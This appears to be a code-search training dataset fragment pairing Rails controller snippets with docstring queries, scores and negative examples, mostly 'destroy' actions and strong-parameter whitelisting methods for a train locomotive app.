"def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @load_balancer_check = LoadBalancerCheck.find(params[:id])\n @load_balancer_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check, tab: \"load_balancers\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lable.destroy\n respond_to do |format|\n format.html { redirect_to lables_url, notice: 'Lable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_request.destroy\n respond_to do |format|\n format.html {redirect_to training_requests_url, notice: 'Training request was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @personal_training.destroy\n respond_to do |format|\n format.html { redirect_to personal_trainings_url, notice: 'Personal training was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_method.destroy\n respond_to do |format|\n format.html { redirect_to training_methods_url, notice: 'Training method was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hotele = Hotele.find(params[:id])\n @hotele.destroy\n\n respond_to do |format|\n format.html { redirect_to hoteles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training = training.find(params[:id])\n @training.destroy\n\n respond_to do |format|\n format.html { redirect_to(trainings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lab = lab.find(params[:id])\n @lab.destroy\n\n respond_to do |format|\n format.html { redirect_to labs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @observation = Observation.find(params[:id])\n # @observation.destroy\n\n @coral = Coral.find(params[:coral_id])\n @observation = @coral.observations.find(params[:id])\n @observation.destroy\n # redirect_to coral_path(@coral)\n \n respond_to do |format|\n format.html { redirect_to coral_path(@coral) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_active_job = Training::ActiveJob.find(params[:id])\n @training_active_job.destroy\n\n respond_to do |format|\n format.html { redirect_to training_active_jobs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @livro = Livro.find(params[:id])\n @livro.destroy\n\n respond_to do |format|\n format.html { redirect_to livros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @load.destroy\n\n respond_to do |format|\n format.html { redirect_to @load.atom }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training.destroy\n respond_to do |format|\n format.html { redirect_to trainings_url, notice: \"Training was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crowd = Crowd.find(params[:id])\n @crowd.destroy\n\n respond_to do |format|\n format.html { redirect_to crowds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training.destroy\n respond_to do |format|\n format.html { redirect_to trainings_url, notice: 'Training was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training.destroy\n respond_to do |format|\n format.html { redirect_to trainings_url, notice: 'Training was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training.destroy\n respond_to do |format|\n format.html { redirect_to trainings_url, notice: 'Training was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training.destroy\n respond_to do |format|\n format.html { redirect_to trainings_url, notice: 'Training was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lifepointe.destroy\n respond_to do |format|\n format.html { redirect_to lifepointes_url, notice: 'Lifepointe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @load.destroy\n respond_to do |format|\n format.html { redirect_to loads_url, notice: 'Load was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @terra_nova_test_benchmark.destroy\n respond_to do |format|\n format.html { redirect_to terra_nova_test_benchmarks_url, notice: 'Terra nova test benchmark was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @observations.destroy\n respond_to do |format|\n format.html { redirect_to observations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go_slim_sequence = GoSlimSequence.find(params[:id])\n @go_slim_sequence.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slim_sequences_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_class_lab.destroy\n respond_to do |format|\n format.html { redirect_to request_class_labs_url }\n format.json { head :no_content }\n end\n end",
"def depart_train(train)\n @trains.delete(train)\n end",
"def destroy\n @liverecord = Liverecord.find(params[:id])\n @liverecord.destroy\n\n respond_to do |format|\n format.html { redirect_to liverecords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leye = Leye.find(params[:id])\n @leye.destroy\n\n respond_to do |format|\n format.html { redirect_to leyes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lei = Lei.find(params[:id])\n @lei.destroy\n\n respond_to do |format|\n format.html { redirect_to leis_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @lake_view.destroy\n respond_to do |format|\n format.html { redirect_to lake_views_url, notice: 'Lake view was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end",
"def destroy\n @lot = Lot.find(params[:id])\n @lot.destroy\n\n respond_to do |format|\n format.html { redirect_to myadmin_lots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @load.destroy\n respond_to do |format|\n format.html { redirect_to loads_url, notice: 'La carga se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objective = Objective.find(params[:id])\n @objective.destroy\n\n respond_to do |format|\n format.html { redirect_to objectives_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loud_check = LoudCheck.find(params[:id])\n @loud_check.destroy\n\n respond_to do |format|\n format.html { redirect_to loud_checks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @onecolumnmodel = Onecolumnmodel.find(params[:id])\n @onecolumnmodel.destroy\n\n respond_to do |format|\n format.html { redirect_to onecolumnmodels_url }\n format.json { head :no_content }\n end\n end",
"def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end",
"def destroy\n neuron = Neuron.find(params[:id])\n\n neuron.destroy\n\n render :json => neuron\n # @neuron = Neuron.find(params[:id])\n # @neuron.destroy\n # \n # respond_to do |format|\n # format.html { redirect_to neurons_url }\n # format.json { head :ok }\n # end\n end",
"def destroy\n laboratory_id = params[:id]\n\n begin\n @laboratory = Laboratory.find(laboratory_id)\n\n @laboratory.delete if @laboratory.status == true\n render json: \"#{@laboratory.nome} deletado com sucesso!\"\n\n rescue ActiveRecord::RecordNotFound\n render json: 'esse dado já foi deletado!'\n end\n end",
"def destroy\n @heli_kit = HeliKit.find(params[:id])\n @heli_kit.destroy\n\n respond_to do |format|\n format.html { redirect_to heli_kits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prediction = Prediction.find(params[:id])\n @prediction.destroy\n\n respond_to do |format|\n format.html { redirect_to(predictions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lent = Lent.find(params[:id])\n @lent.destroy\n\n respond_to do |format|\n format.html { redirect_to lents_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7041086",
"0.6773462",
"0.67307425",
"0.65346986",
"0.652068",
"0.6480476",
"0.64546114",
"0.64508146",
"0.6449621",
"0.64413637",
"0.6400375",
"0.6396486",
"0.63844264",
"0.63705254",
"0.6368457",
"0.63485277",
"0.63458973",
"0.63179535",
"0.6300191",
"0.62915015",
"0.62899387",
"0.6288252",
"0.6287969",
"0.62868375",
"0.62828165",
"0.62806636",
"0.62757105",
"0.62662226",
"0.62649363",
"0.62603784",
"0.6246666",
"0.6238214",
"0.62328696",
"0.62308675",
"0.6230409",
"0.62253565",
"0.62144196",
"0.62118495",
"0.62063533",
"0.6202648",
"0.6200171",
"0.6182768",
"0.6181044",
"0.6178018",
"0.61779094",
"0.61770296",
"0.61714965",
"0.61677986",
"0.61657",
"0.61645216",
"0.61609656",
"0.61564535",
"0.61554223",
"0.61469984",
"0.61427337",
"0.6129168",
"0.612874",
"0.6125298",
"0.6124791",
"0.61236775",
"0.6115105",
"0.61137927",
"0.61119664",
"0.6111116",
"0.61071455",
"0.610618",
"0.61028165",
"0.6102662",
"0.609972",
"0.609972",
"0.609972",
"0.609972",
"0.6095605",
"0.60941124",
"0.6093785",
"0.6087571",
"0.60840493",
"0.60838866",
"0.6083857",
"0.6077523",
"0.6077518",
"0.6072649",
"0.6072316",
"0.606988",
"0.6065843",
"0.60647964",
"0.6064762",
"0.60604364",
"0.6060436",
"0.60561705",
"0.6051058",
"0.6050633",
"0.6048601",
"0.6047536",
"0.60469955",
"0.60456616",
"0.6045314",
"0.6043922",
"0.60420567",
"0.60401773"
] |
0.7771623
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_train_locomotive
@train_locomotive = TrainLocomotive.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def train_locomotive_params
params.require(:train_locomotive).permit(:operator_id, :locomotive_class_name, :locomotive_class_number, :make_id, :locomotive_type_id, :box_number, :owner_id, :price, :decoder_id, :decoder_address, :picture, :delete_image)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
